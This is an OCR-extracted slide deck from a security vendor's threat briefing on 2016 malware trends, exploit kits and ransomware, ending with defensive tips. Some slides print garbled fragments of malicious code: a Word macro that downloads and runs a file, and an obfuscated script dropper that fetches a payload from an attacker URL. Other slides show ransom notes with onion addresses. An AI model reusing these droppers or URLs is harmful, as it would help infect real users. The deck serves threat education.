WEBROOT P -

Smarter Cybersecurity” e & N —
TN
fi . —,
K/ IWW,
i// *

(R)evolution s P2 e

Tyler Moffitt | Senior Threat Research Analyst




Agenda

Threat Brief
— Insights from Collective Threat Intelligence

— Android Trends

Attack Vectors > 7 NS

— Phishing oy - RS
— Angler/Neutrino Exploit Kit : -l ey o
New Encrypting Ransomware Variants "ansomwa?e :
— CryptoMix, Cerber, Chimera, CryptXXX ‘ -

— Ransomware Rivalry

BlackHat 2016 Takeaways

A Quick Guide to Stopping Ransomware
— Five easy-to-follow tips

Q&A WEBROOT

Smarter Cybersecurity



Insights from Collective Threat Intelligence

So far, Webroot has:

&J &J & &
. Encountered Monitored billions ~ Analyzed millions of Studied major
millions of instances of IP addresses new/updated mobile malware trends
of malware and URLs apps for malicious based on millions
and PUAs behavior of endpoints
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Threat Intelligence by the Numbers

BrightCloud® services continuously classify and score
95% of the internet, and monitor the entire IPv4 space and in-use IPv6

_ il <

O+ Billion 27+ Million 10+ Million
File Behavior Mobile Connected
Records Apps Sensors
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Threat Intelligence by the Numbers

Each day, Webroot discovers...

> & B

6,000 80,000 51,000
Phishing New Malware New Mobile
Sources & PUAs Malware
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File Data

More than 97%
of threats are unigue
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Notable Observations

Malware & PUA Monthly Volume

Angler Exploit Kit cybergang e
arrested N
2.500,000 —
Neutrino Exploit Kit 2,000,000 —
eating up Angler market N—
1,000,000 — I
10+ other exploit kits 500,000 — —

competing for market share -

1-Jan 1-Feb 1-Mar 1-Apr 1-May 1-Jun
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s’

8.12%

decrease in
malware
volume

Malware Trends

Angler arrests contributed to:

s

15%

decrease in
NEWEIE
encounter
rates

s

53.61%

decrease Iin

samples per
variant of
malware
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PUAs 36.31% fewer
examples detected

PUA Trends

Encounter rates dropped
by 28.71%

Examples of per
PUA installer variant
dropped 33.08%
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Android Malware

In the first 6 months of 2016...

More than Over
300% 400%
growth in growth of
Android PUA
Apps
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Notable Observations

« o -

Fastest Trojans are More adware  Google Play = Ransomware
growth of still the most apps have isn't 100% EIRINS
new popular rooting safe
malicious category functionality
apps isin
China
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Android Trends

Fastest growing malware categories: ; Simplified Categories of Malicious Apps
720% Others —I
525%
Work/Busi 14%
: ness
S 9% — Tools
420% 31%
18%

Entertainment —

28%

Games J

Rootkits
Trojans
Adware
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Phishing

Phishing sites are using new tactics to evade detection

JavaScript prevents Q Plain text avoids
leaving a page HTML analysis

: \ :
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92%

chance of visiting a
zero-day phishing site

S
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Threat Brief Conclusions

s D) D 02
Angler arrest New exploit Threats More Android Phishing

had a huge Kits are continue threats will
impact on the competing for evading make it past
volume of market share detection

threats due to

CINENS
effective and
now has

more targets

Google Play
unigueness
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oclial Engineering — Phishing Macro infection

Your package delivery has failed - Message (HTML)

L—_)1 [F2 Meeting 4 Find
Delete  Reply Reply Forward [, e Mark
Al Unread

Junk

Your package delivery has failed

—

) ¥ there are problems with how this message is displ b itin a web browser.

_ [ label_24672223.doc (197 B)

= USPSCOM

Dear customer,
Your package delivery has failed because no person was present at 55

Status

Date :

Tune - H

Shipping Label : e-copy attached

The shipping information including the fracking number can be found in the attached shipping label.

Redelivery may be arranged by visiting the local Post Office mentioned in the attached label.

Note: Please do notreply to this message. Replies to this message are routed to an unmonitored mailbox. If you have guestions please visit our website hilps.fwww.usps com/helpicontact-
us.htm

Copyrigh All Rights Reserved.

@ 5eemoreabout
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oclial Engineering — Phishing Macro infection

| SECURITY WARNING Macros have been disabled.

PAGE1 OF1

rd

0 WORDS

INSERT DESIGN PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW

Calibri 20| napbcenc Assbceoe AaBbC AaBbCi AaBbC AagaceD —

TNermal | T . H gl Hea Title itle

n Font Editing

PROTECTED DOCUMENT

Thisfile is protected by Microsoft Office.
Please enable Editingand Content to see this document.

CAN'T VIEW THE DOCUMENT? FOLLOW THE STEPS BELOW.

1. Openthe ment

2. Iiyou downloaded t

Private Sub Document_Open()
Dim strSavePath As String
Dim URL As String, ext As String
Dim buf, ret As Long
URL = " d
1UgKRZS) Wlx |
buf = Split(URL, "."
ext = buf(UBound(buf))
strSavePath - "C:\Users\Pu
ret = URLDownloadToFile(e,

ic\Document
URL, strSavePath,

Dim wsh As Object

Set wsh = VBA.CreateObject("} 11
Dim waitOnReturn As Boolean: waitOnReturn
Dim windowStyle As Integer: windowStyle =
= -+ 100%
wsh.Run Users vindowstyle

End Sub

WEBROOT
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Angler/Bedep/Neutrino Exploit Kits

Been around since late 2013
Took over for the demise of
Blackhole Exploit Kit

80% of all Drive-by-Attacks
this year

Most are deploying CryptXXX

Attack Flash Player, Java, word and

Silverlight vulnerabilities
Hack into legit website then simple
IFRAME injection

Bedep helps stifle the

research process
Prevents payloads from being dropped on VMs

Cyber Criminals using Angler

generate $3M/month
Almost exclusively from Ransomware

Neutrino just recently took

over Angler
Also has many prevention checks for
research environments

WEBROOT
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Malvertising to Payload D

GoeoNky Malvertising
Domain Shadow - https - informational
disclosure bug in use

URL

/ads/www/delivery/spcjs.php?id=35924&target=_blank&ct0={clickurl_enc}&xid={publisher_id}
Jadsfwww fimages/8567actb4fd 1c23d02362cebda27d6d8/300x250 jpa

[adsfwww /delivery fspcs.php?id=35924&target=_blank&ct kurl_enc}&did={publisher_id}&_ =0&__ =http%3A%2F%2Fwmedia.adk2x.com%2 Y 53
Jem?forward=http: //becollie-hypoglossia.appliancerepair-service.com/questions /5595836 1/MzIDQAQ-GWNSTf-NDX fN-oNdXFr-OmzvgOgU- 0
Jquestions/5595836 1/MzIDQAQ-GWNSTF-NDXMN-oNdXFr-OmzvaOgU- 79 158
/?2a=Plkwtf&v=&b=0doeavLkws&p=EcO&n=2nIRkIyG&o=7jtnrOXyOF&t=iPPvIS&g=k07zw 41047
/?a=&o0=7Vagn6EU&m=f1CnfqUd&u=BZAt&j=EHcBluxwa&d=6VnnIghQT_zn2saP6bl nlg &er 256 125
/?m=1ZPN&g==8y=FMB]S&a=82eSKa&t=bETjdna4&e =GG7YUU&h=H4FKez5n7&u=3Xn6ZLPnxe
/?r=&n=eEP4SUu&o=8Wlw2d41e&i=&h=B4M&d=Lk-IIvMvghiWkOtdMhYzAzolL Jd7Ks

CryptXXX 1.001

www.josephsclothiers.com ™
" - il

Content-Type
application/x-javascript

image/jpeg
image [gif

text/html

application/x-shockwave...
applicatiop/x-shockwave...

pplication/x-shockwave...

Comments

Goollky Malvertising

GooNky Malvertising

GooNky Malvertising

Abused rfihub https open redirector

Angler EK : Landing

Angler EK : Flash Exploit

Angler EK Payload : CrypbOXX

Angler EK : Silverlight disabled on that threa:
Angler EK Payload : CrypbXXX

WEBROOT

Smarter Cybersecurity




Malvertising to Payload Drop - Neutrino

Host URL Content-Type
speednetwork 14.adk2x.com  imp?p=705521408ct=himiGap=13033u=http3e text/himl; charset=UTF-8
speednetwork 14.adk2x.com  fl_cb/fmpPp=705521408ct =htmiSap = 13038« .php o text/html; charsets! &

chck.com  fa/dsplay.php?r = 1185554 M@Uw@[?ﬁ @[‘m@um 051 text/htmi; charset=utf-3
chok, fpochtml 21 text/html
s NyUCNxsmcvdHdlSG2) text/htrl
946859289 18460841.... text/himl
text/htmi; charset=utf-8
textjhiml; charset=utf-8
cyfqeidpu.annaeunsigh! g text/html
104.238.187.1 cyfaeidpu.annaeunsichtly. top } appiication/x-shockwave-fash
187.1 G cyfgeidpu.annaeunsightly top  /yard fghos -3122311 1 text/html
104.238.187.1 cyfoeidpu.annaeunsihtly.top  festablish /stab-36060033 3 application/octet-stream

CryptXXX 2.007

as a dll (new feature for Neutrino)

ShellExecuteExW v
ameters. /q /c cd /d ™ ’\DOCUHE~Q\LO(ALS~1'\Temp" 8& echo Wynction o(a){return new ActivexObject(a)};var
“WinHTTP,Request.5.1,GET,Scriptin leSystemObject,WScript.Shel\ ADODB.Stream, Arguments, function y(i){return

w["\x73p\x6ci\x74" ] (“\x2c" ) [i]}; try{w+="xe,GetTe "+ "mpName, charCodeAtiy index0"+"f, .d"+"11,Scr™+"iptF"+"ullN"+"ame, join" ;var

xeuscript,g=o(y(3)),m=x[y(6)],3=0(y(4)),5=0(y(5)),p=y(7),n=0,wl=x[y (14N, v=y(9);s.Type=2;c=q[y(8)]

();s.Charset=y(10);s.0pen();i=wl(m);d=i[v](i[y(12)]("

z=1;c+=y(13)}else c+=p;s["\x53ave\x540\x46ile"](c,2

"4¢,0) }catch(we){}q[ " \x64ele\x74e\x4611\x65" ] (wl) ;function wl(g){var

k=0(y(0)+"."+y(@)+y(1));k.setProxy(n);k.open(y(2),g(1),n);k.Option(@)=g(2);k.send();if(200=x=k.status)return

de(k["\x72es\x7@onse\x54ex\x74"],g(n))};function de(u,g){for(var c=0,d,b=[],h=

[),a9;256%>a;a+4)b[a]~a;for(a=0;256">a;a++)cc+b[a]+g[v] (a%g. length)"&255,d=b[a],b[a]~b[c],b[c]~d;Ffor(var

e=Cc=3=0;e"<u.length;e++)a=a+1"8255,c=c+b[a]"&255,d=b[a],b{a]=b[c],b[c]=d, h.push(String.fromCharCode(u[v]

(e)*"b[b[a]+b[c]*&255]) );return h[y(15)](y(11))};>v43hop.tmp && start wscript //B //E:)Script va3hop.tmp “cgsqieghpu®
"http://ogtlfuzmhv.johnibetter.top/madness/1387348/theory-enter-shut-labour-graceful-idea-greet™ "Mozilla/4.0 (compatible; MSIE 8.9;
Windows NT 5.1; Trident/4.@; .NET4.8C; .NET4.0E; .NET CLR 2.90.50727)"
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Stifle the Research Process

InfectediWebsite]

— ‘____—_—’_ -
seose v [ RedirectiolNeutring

117 1:15:15 A

Jul 17 1:15:18 AWM Website

Website Redirect: http://amthioluteushionta.agridyne.com/...those-clad-punch-member
//ieframe.dIl/dns@gordiagoff htm#res:/

Program%20Files\...

Websit: irec //ieframe.dll/dnseRprdiagoff.htm#re

eframe.dll/dn

ogram%20Files\ ..

\Program%20Files%20(x86)\FFDec\Uninstall #2411
/ieframe.dll/dnserrordiagoff. htm#res:/

d //ieframe.dll/dnserrordiagoff htm#res://C:\Progra
bsite Redirect //C:\ OFiles

/ebsite Redirect

«86)\Fiddler2\uninst

#24/1

\DIFxAPI.dil/#24/
//ieframe.dll/dnserrordiagoff htm#re

\Program Files\_..\ProductAgen

Progran
Website Redirect: r
Website F //C:\Program Files (x86

Antivirus\egu

Program Files (x86)\FFDec\Uninstall.exe/#24/1

Program Files\VMware\ViMware Tools\VMToolsHook.dll/
\Program Files (x86)\Fiddler2\uninst.exe/#24/1
site Redirect: res://C:\Program%20Files\...\ProductAgentService exe/#2

Process Launch: [System32]\cmd.exe
R t Value: [Container]\HKCU\.. \cmd.exe
File Create: [SboxLocalAppData]\Temp\We3gsosiJ.dat
File Write: [SboxLocalAppD
Process Launch: [System3
alue: [Containe!

16 Jul 17 1:15:28 AM

CMDIshelllinvokes|
wscrintitoldownload
payload

WEBROOT
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Malvertising Explained

Attack that uses online ads to spread malicious code

Cyber criminals Malicious ads rotate Invisible iframe Malicious software
submit booby- with normal ads on redirects to exploit is installed - usually
trapped legitimate, highly landing page where Encrypting
advertisements to reputable sites malicious code Ransomware

ad networks for real
time bidding process

attacks the system

WEBROOT
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From the Creators
Of the Reveton FBI
lock

Very dedicated and
always updating

CryptXXX

Exclusively uses Now uses Neutrino Is also known to
Exploit Kits after Angler was drop Dridex
shut down

So this ransomware
will also try and
steal credentials

Malvertising and
Hacked websites
only way to get it

WEBROOT
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NOT YOUR LANGUAGE? USE https:/itranslate.google.com

a

OWhat happened to your files ?

OAll of your files were protected by a strong encryption with RSA4096

OMore information about the encryption keys using RSA4096 can be found here: http:llen.wikipedia.org/wiki/RSA_(cryptosystem)

a

OHow did this happen ?

Ol Specially for your PC was generated personal RSA4096 Key , both public and private.

OMALL YOUR FILES were encrypted with the public key, which has been transferred to your computer via the Internet.

O Decrypting of your files is only possible with the help of the private key and decrypt program , which is on our Secret Server

a

OWhat do | do ?

0So, there are two ways you can choose: wait for a miracle and get your price doubled, or start obtaining BITCOIN NOW! , and restore your data easy way
OIf You have really valuable data, you better not waste your time, because there is no other way to get your files, except make a payment
a

a

OYour personal ID: D785 \WEB7

a

OFor more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:
a

01 - http:Nirpdroxeuhcf2vgft.onion.to

02 - http:lirp4roxeuhcf2vgft.onion.cab

03 - http:lirpdroxeuhcf2vgft.onion.city

a

OIf for some reasons the addresses are not available, follow these steps:

a

01 - Download and install tor-browser: http:liwww.torproject.orglprojectsitorbrowser.html.en

02 - Video instruction: https:/iwww.youtube.comiwatch?v=NQrUZdsw2hA

03 - After a successful installation, run the browser

04 - Type in the address bar: http:lirpdroxeuhcf2vgft.onion




No payment on the
DarkNet

One of the few
ransomware that
doesn’t have this

CryptoMix

All communication
is done via
emailed links to
encrypted
messages

Extremely
expensive at 5BTC
~ $2900

Claim that you’ll
receive free tech
support and all
your ransom
money goes to
children charity

WEBROOT
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CryptoMix

ur I num : it for further inst

file
HELP DECRYPT

to me [+

Hello!

You have got a new private me

ve important notes!

and

T m

WEBROOT
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CryptoMix

Price of O ivate [ : ot all your
files and pr J

Also You will have a FREE tech support for solving
You can buy bitcoins through this bitcein web s

“hoese moere comfortable payment

All this process is very It's like a simple money transfer.

And now most important information:

Your mo

ou are kind and he I
| be in the main donors list and

WEBROOT
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Cerber

| Cerber Decryptor x U+

St @~ (€ 0 cerberhhyedSfrqa.onion/2713-5138-64E7-0063

j # DECRYPT MY FILES #.bet - Notepad
File Edit Format ‘iew Help
I

i i% CERBER DECRYPTOR #Homepage @FAQ & Support ;
CERBEER RAMNSOMWARE :

R

Camnot you Find the Files you nesd? Your documents_, photos, databases and other important
files have been encrypted!

Is the content of the files that you looked for not readahle?

It is normal because the files' names, as well as the data in your files
hawve been encrypted.

Great!

You have turned to be a part of a big community #Cerber+Ransomware. To decrypt your files you need to buy the special software — «Cerber Decryptor».

R All transactions should be performed via @bitcoin network only.

If you are reading this message it means the software Within 5 days you can purchase this product at a special price: B2.000 (=$1316).
"Cerber RansOmware" has heen removed from your computer.

After 5 days the price of this product will increase up to: B4.000 (= $2632).
B e

what is encryption?

The special price is available:

04 . 23:59:33

Encryption is a reversible modification of information for security
reasons but providing full access to it for authorized users.

WEBROOT
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Ransomware Rivalry

Tweets Tv replies Media

' JANUS @Janus retary - Jul 26

@& Now publishing leaked #chimera
#ransomware keys:
pastebin.com/7HrZCsmT ©® @hasherezade

RAW Paste Data
Like the analysts already detected, Mischa uses parts of the Chimera source. We are NOT connected toc the people behind Chimera.
Additionally we now release about 3588 decryption keys from Chimera. They are RSA private keys and shown below in HEX format.
It should not be difficult for antivirus companies to build a decrypter with this informations.
Please also check our RaaS system, which now has its registration opened: http://janusqgqdo2zx75el.onion/

LINK: https://www.sendspace.com/file/@fk7wj

WEBROOT
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B JANUS - Start

(] janus

PAYMENT SHARE

FREE EASY
CRYPTING ADMINIS




KeRanger — Mac OS Encrypting Ransomware

B = [

& Transmission

£+ 3

Favorites
§5 Dropbox
@) Airbrop
B Al My Files
> iCloud Drive
# Applications
= Desktop
[ Documents
o Downloads
12} wanderingbug
Devices
Remote Disc
[} Transmiss... &
Shared
Tags
® Red
) Orange
Yellow
Green
Y Blue
Purple
Gray
All Tags...

Name

v [ Contents

>
>

| _CodeSignature
| Frameworks

Info.plist

[ Library
[ MacOs

Pkglnfo

[ Resources

[ AboutWindow.nib

Bandwidth tiff
BlocklistStatusWindow.nib
CleanupTemplate tiff
CompleteCheck tiff
COPYING

_# CreateLarge.tiff
Credits.rtf

[ da.lproj

[ de.lproj
Defaults.plist

DownArrowGroupTemplate.tiff

DewnArrowTemplate.iff
DewnloadBadge.png
| en.lproj

| es.lproj

@ Favicon.tiff

FileRenameSheetController.nib

[ FilterBar.nib

| fr.lproj
General.rtf
Globe.tiff
GreenDot tiff
Groups.tiff
GroupsNoneTemplate.tiff
Info.plist
InfoActivity.tiff
InfoFiles.tiff
InfoFileView.nib

(Dol o] e 4]

InfoGeneral tiff
InfoOptions.tiff
InfoPeers.tiff
InfoPeersView.nib

1[5/ [ (1= @) @ = [

InfoTracker.tiff

InfoTrackersView.nib
| InfoWindow.nib

[ itlproj

& Lock.iff

Date Modified

Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:08 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:08 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:08 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:08 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:08 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:08 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM
Mar 4, 2016, 12:03 PM

8 bytes

15 KB
9KB
9KB
15 KB
4KB
8KB
8KB
711 bytes
14 KB
6 KB

7KB
7KB
819 bytes

12 KB
5KB
9KB

Kind

Folder

Folder

Folder

Property List

Folder

Folder

TextEd..ument

Folder Decompressed.hop
Document

TIFF image B D A|C|P U

TIFF image
(A [ [ ;|

Decument | "I0PlatformSerialNumber", @ XREF=cfstring_IOPlatformSeriaNumber
TIFF image "%@2x", @ XREF=_getHwid+36@

TIFF image "ab+", @ XREF=_putReadme+91

TextEd...ument "lclebb6kvohlkeml.onion. Link", @ XREF=_HOSTS

TIFF image "1clebb6kvohlkeml.onion.nu”, @

RTF Document "bmacyzmea723xyaz.onion.link", @
Folder "bmacyzmea723xyaz.onion.nu", @
Folder "nejdtkok7oz5kjoc.onion. link", @
Property List "nejdtkok7oz5kjoc.onion.nu”, @
TIFF image

TIFF image

PNG image

Folder

Folder

TIFF image

Document

XREF=_files_ext

Document
Folder

RTF Document
TIFF image
TIFF image
TIFF image
TIFF image
Property List
TIFF image
TIFF image
Document
TIFF image
TIFF image
TIFF image
Document
TIFF image
Document
Document
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The Advantages of Bitcoins

How Te C(lean Your Coins
Step 1

Bitcoin

NEED T Mixer?

Bitcoin tr

ure their orig

ANONYMIZE BITCOIN
Jur Bitcoin laundry completely
Bitcoin, ng their origin

FAST AND EASY

WEBROOT
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BlackHat 2016
Takeaways




Continued Hacks for Cars




Continued Hacks for Cars
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Ransomware for Thermostats

. YOU Suck!
gﬂTalKlein - Follow “ PC!y -’

My Nest thermostat has been locked by v n— B” ,n 1—
ransomware.. It's demanding $300 in 24 hours S bt A CO O..
orit'll lock the temp at 99.
#complaintsfromthefuture

72 60 ENENLB=EN

WEBROOT
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A Quick Guide to
Stopping
Ransomware

5 Easy to follow Tips

www)/




Deploy Reputable, Multi-Layered Endpoint
Security

Having endpoint security that prevents malware infections in
the first place is vital. Look for security that protects web
browsing, controls outbound traffic, protects system settings,
proactively stops phishing attacks, and continuously monitors
individual endpoints.

WEBROOT
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Deploy Backup and Business Continuity
Recovery

\\Iz,
'\ /
=g :
/

If there is a crypto ransomware infection, then the

UJ F only recourse is to recover data and minimize
'Il - d» business downtime. There are now many

W -”| I I. automated on-premise and cloud-based backup
I I and continuity solutions that will back up data and

create an air gap to stop ransomware from
infecting networked drives. Business continuity also
means minimal downtime and businesses can
quickly return to normal.

WEBROOT
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Disable Macros and Autorun

Lots of crypto ransomware infect systems using
macros. Macros can easily be disabled in the Trust
Center of every version of Microsoft® Office. It is
also possible to enable individual macros, should

they be used for a particular task. While autorun
is a useful feature, it is often used by malware to
propagate. For instance, USB sticks will use
autorun to proliferate, as do commonly used by
Visual Basic Script (VBS) malware and worms. It is
best to Policy disable autorun.
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Windows Policies

When it comes to crypto ransomware, consider
using Windows Policies to block certain paths and
file extensions from running. Policies can be set
up in groups, which is useful if varying levels of
access are required. (Note: Test any policies on a
test PC.) Examples of useful paolicies include:
blocking executables in temp or temp+appdata
and the creation of startup entries. The following
files types shouldn't be run in the following
directories: .SCR, .PIF, and .CPL in users' temp,
program data, or desktap.

-
Use Policies to Block Volume

Shadow Copy Service

Windows creates local copies of files using the VSS
copy service. Ransomware like CryptoLocker will
encrypt this area because it holds VSS copies for
he local drive (normally the C\ drive). Using
Windows Policies to block access to the service
helps stop ransomware like CryptoLocker from
erasing local drive file backups. Policies should
point to the VSSAdmin executable. Any attempt to
access or stop the service will result in a block.
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Educate Users

As always with security, users are often the weakest link. Malware will cantinue to thrive and be a
viable business as long as staff are unaware and uneducated on the risks of the Internet. Providing the
basics will protect users at home and in the office.
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Thank you. \{

Questions?
tmoffitt@webroot.com




